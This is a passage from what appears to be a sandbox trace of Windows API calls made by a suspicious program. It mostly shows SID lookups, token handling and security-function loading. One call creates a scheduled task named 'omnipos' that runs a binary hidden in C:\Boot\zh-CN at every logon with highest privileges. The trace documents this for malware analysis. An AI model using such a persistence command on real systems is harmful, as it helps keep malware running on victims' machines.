SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0090.294] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0090.294] malloc (_Size=0x18) returned 0xeef60 [0090.294] malloc (_Size=0x18) returned 0xef0a0 [0090.294] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0090.294] SysStringLen (param_1="-") returned 0x1 [0090.294] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0090.294] memcpy (in: _Dst=0x34ddd4, _Src=0x3812c8, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0090.294] free (_Block=0xef040) [0090.294] free (_Block=0xeef60) [0090.294] malloc (_Size=0x18) returned 0xeef60 [0090.294] malloc (_Size=0x18) returned 0xef040 [0090.294] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0090.294] SysStringLen (param_1="3835049652") returned 0xa [0090.294] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0090.294] memcpy (in: _Dst=0x34daa6, _Src=0x3812c8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0090.294] free (_Block=0xef0a0) [0090.294] free (_Block=0xeef60) [0090.294] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0090.294] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0090.294] malloc (_Size=0x18) returned 0xeef60 [0090.295] malloc (_Size=0x18) returned 0xef0a0 [0090.295] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0090.295] SysStringLen (param_1="-") returned 0x1 [0090.295] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0090.295] memcpy (in: _Dst=0x34ddea, _Src=0x3812c8, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0090.295] free (_Block=0xef040) [0090.295] free (_Block=0xeef60) [0090.295] malloc (_Size=0x18) returned 0xeef60 [0090.295] malloc (_Size=0x18) returned 0xef040 [0090.295] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0090.295] SysStringLen (param_1="1000") returned 0x4 [0090.295] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0090.295] memcpy (in: _Dst=0x34dabc, _Src=0x3812c8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0090.295] free (_Block=0xef0a0) [0090.295] free (_Block=0xeef60) [0090.295] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0090.295] malloc (_Size=0x5e) returned 0xf0800 [0090.295] free (_Block=0xef040) [0090.295] malloc (_Size=0x18) returned 0xef040 [0090.296] free (_Block=0xf0800) [0090.296] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0090.298] GetLastError () returned 0x7a [0090.298] malloc (_Size=0x14) returned 0xeef60 [0090.298] malloc (_Size=0x16) returned 0xef0a0 [0090.298] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0090.299] malloc (_Size=0x18) returned 0xef020 [0090.299] malloc (_Size=0x18) returned 0xeef00 [0090.299] free (_Block=0xeef60) [0090.299] free (_Block=0xef0a0) [0090.299] free (_Block=0xeff30) [0090.299] free (_Block=0xeef00) [0090.299] free (_Block=0xef020) [0090.299] free (_Block=0xef040) [0090.300] free (_Block=0xee200) [0090.300] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0090.300] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0090.300] GetLastError () returned 0x7a [0090.300] malloc (_Size=0x2c) returned 0xee240 [0090.300] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0090.300] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0090.300] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0090.300] malloc (_Size=0x1c) returned 0xeff30 [0090.300] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0090.300] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0090.300] malloc (_Size=0x18) returned 0xef040 [0090.300] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0090.300] malloc (_Size=0x18) returned 0xef020 [0090.300] malloc (_Size=0x18) returned 0xeef00 [0090.301] SysStringLen (param_1="S-1-") returned 0x4 [0090.301] SysStringLen (param_1="5") returned 0x1 [0090.301] memcpy (in: _Dst=0x3810e8, _Src=0x381088, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0090.301] memcpy (in: _Dst=0x3810f0, _Src=0x3812c8, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0090.301] free (_Block=0xef040) [0090.301] free (_Block=0xef020) [0090.301] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0090.301] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0090.301] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0090.301] malloc (_Size=0x18) returned 0xef020 [0090.301] malloc (_Size=0x18) returned 0xef040 [0090.301] SysStringLen (param_1="S-1-5") returned 0x5 [0090.301] SysStringLen (param_1="-") returned 0x1 [0090.301] memcpy (in: _Dst=0x3812c8, _Src=0x3810e8, _Size=0xc | out: _Dst=0x3812c8) returned 0x3812c8 [0090.301] memcpy (in: _Dst=0x3812d2, _Src=0x381088, _Size=0x4 | out: _Dst=0x3812d2) returned 0x3812d2 [0090.301] free (_Block=0xeef00) [0090.301] free (_Block=0xef020) [0090.301] malloc (_Size=0x18) returned 0xef020 [0090.301] malloc (_Size=0x18) returned 0xeef00 [0090.302] SysStringLen (param_1="S-1-5-") returned 0x6 [0090.302] SysStringLen (param_1="21") returned 0x2 [0090.302] memcpy (in: _Dst=0x381088, _Src=0x3812c8, _Size=0xe | out: _Dst=0x381088) returned 0x381088 [0090.302] memcpy (in: _Dst=0x381094, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381094) returned 0x381094 [0090.302] free (_Block=0xef040) [0090.302] free (_Block=0xef020) [0090.302] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0090.302] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0090.302] malloc (_Size=0x18) returned 0xef020 [0090.302] malloc (_Size=0x18) returned 0xef040 [0090.302] SysStringLen (param_1="S-1-5-21") returned 0x8 [0090.302] SysStringLen (param_1="-") returned 0x1 [0090.302] memcpy (in: _Dst=0x3810e8, _Src=0x381088, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0090.302] memcpy (in: _Dst=0x3810f8, _Src=0x3812c8, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0090.302] free (_Block=0xeef00) [0090.302] free (_Block=0xef020) [0090.302] malloc (_Size=0x18) returned 0xef020 [0090.302] malloc (_Size=0x18) returned 0xeef00 [0090.302] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0090.302] SysStringLen (param_1="4219442223") returned 0xa [0090.303] memcpy (in: _Dst=0x338318, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0090.303] memcpy (in: _Dst=0x33832a, _Src=0x381088, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0090.303] free (_Block=0xef040) [0090.303] free (_Block=0xef020) [0090.303] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0090.303] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0090.303] malloc (_Size=0x18) returned 0xef020 [0090.303] malloc (_Size=0x18) returned 0xef040 [0090.303] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0090.303] SysStringLen (param_1="-") returned 0x1 [0090.303] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0090.303] memcpy (in: _Dst=0x3377ae, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0090.303] free (_Block=0xeef00) [0090.303] free (_Block=0xef020) [0090.303] malloc (_Size=0x18) returned 0xef020 [0090.303] malloc (_Size=0x18) returned 0xeef00 [0090.303] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0090.303] SysStringLen (param_1="4223814209") returned 0xa [0090.303] memcpy (in: _Dst=0x34dd98, _Src=0x337788, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0090.303] memcpy (in: _Dst=0x34ddc0, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0090.304] free (_Block=0xef040) [0090.304] free (_Block=0xef020) [0090.304] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0090.304] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0090.304] malloc (_Size=0x18) returned 0xef020 [0090.304] malloc (_Size=0x18) returned 0xef040 [0090.304] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0090.304] SysStringLen (param_1="-") returned 0x1 [0090.304] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0090.304] memcpy (in: _Dst=0x34daa4, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0090.304] free (_Block=0xeef00) [0090.304] free (_Block=0xef020) [0090.304] malloc (_Size=0x18) returned 0xef020 [0090.304] malloc (_Size=0x18) returned 0xeef00 [0090.304] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0090.304] SysStringLen (param_1="3835049652") returned 0xa [0090.304] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0090.304] memcpy (in: _Dst=0x34ddd6, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0090.304] free (_Block=0xef040) [0090.304] free (_Block=0xef020) [0090.305] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0090.305] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0090.305] malloc (_Size=0x18) returned 0xef020 [0090.305] malloc (_Size=0x18) returned 0xef040 [0090.305] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0090.305] SysStringLen (param_1="-") returned 0x1 [0090.305] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0090.305] memcpy (in: _Dst=0x34daba, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0090.305] free (_Block=0xeef00) [0090.305] free (_Block=0xef020) [0090.305] malloc (_Size=0x18) returned 0xef020 [0090.305] malloc (_Size=0x18) returned 0xeef00 [0090.305] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0090.305] SysStringLen (param_1="1000") returned 0x4 [0090.305] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0090.305] memcpy (in: _Dst=0x34ddec, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0090.305] free (_Block=0xef040) [0090.305] free (_Block=0xef020) [0090.305] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0090.305] malloc (_Size=0x5e) returned 0xf0800 [0090.306] free (_Block=0xeef00) [0090.306] malloc (_Size=0x18) returned 0xeef00 [0090.306] free (_Block=0xf0800) [0090.306] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0090.308] GetLastError () returned 0x7a [0090.308] malloc (_Size=0x14) returned 0xef020 [0090.308] malloc (_Size=0x16) returned 0xef040 [0090.308] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0090.309] malloc (_Size=0x18) returned 0xef0a0 [0090.309] malloc (_Size=0x18) returned 0xeef60 [0090.309] free (_Block=0xef020) [0090.309] free (_Block=0xef040) [0090.309] free (_Block=0xeff30) [0090.309] free (_Block=0xeef60) [0090.309] free (_Block=0xef0a0) [0090.309] free (_Block=0xeef00) [0090.310] free (_Block=0xee240) [0090.310] malloc (_Size=0x48) returned 0xed270 [0090.310] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0090.318] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0090.318] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0090.318] malloc (_Size=0x18) returned 0xeef00 [0090.318] CreateEnvironmentBlock () returned 0x1 [0090.323] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0090.324] malloc (_Size=0x18) returned 0xef0a0 [0090.324] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x968, dwThreadId=0x96c)) returned 1 [0090.329] CloseHandle (hObject=0x2fc) returned 1 [0090.329] CloseHandle (hObject=0x244) returned 1 [0090.330] free (_Block=0xef0a0) [0090.330] DestroyEnvironmentBlock () returned 0x1 [0090.330] malloc (_Size=0x48) returned 0xed2c0 [0090.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5ecbe540, dwHighDateTime=0x1d9eb0c)) [0090.330] SetEvent (hEvent=0x1f0) returned 1 [0090.330] CloseHandle (hObject=0x234) returned 1 [0090.330] CloseHandle (hObject=0x238) returned 1 [0090.355] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0090.355] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0090.355] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0091.041] SetLastError (dwErrCode=0x0) [0091.041] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0091.041] SetLastError (dwErrCode=0x0) [0091.041] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0091.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34eff0 [0091.042] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34eff0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0091.042] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34eff0 | out: hHeap=0x2e0000) returned 1 [0091.044] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0091.045] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0091.045] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0091.045] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0091.045] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0091.045] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0091.045] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0091.047] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0091.047] GetCurrentThread () returned 0xfffffffffffffffe [0091.047] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0091.047] malloc (_Size=0xd8) returned 0xf4740 [0091.047] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0091.048] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0091.048] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0091.048] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0091.048] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0091.049] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0091.049] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0091.049] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0091.049] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0091.049] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0091.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0091.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0091.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0091.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0091.050] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0091.051] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0091.051] malloc (_Size=0x18) returned 0xef0a0 [0091.051] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0091.052] malloc (_Size=0x48) returned 0xed400 [0091.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5f3bc5e0, dwHighDateTime=0x1d9eb0c)) [0091.052] SetEvent (hEvent=0x1f0) returned 1 [0091.057] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0091.057] GetLastError () returned 0x7a [0091.057] malloc (_Size=0x2c) returned 0xee200 [0091.057] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0091.057] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0091.057] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0091.057] malloc (_Size=0x1c) returned 0xeff00 [0091.057] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0091.057] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0091.058] malloc (_Size=0x18) returned 0xeef00 [0091.058] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0091.058] malloc (_Size=0x18) returned 0xeef60 [0091.058] malloc (_Size=0x18) returned 0xef040 [0091.058] 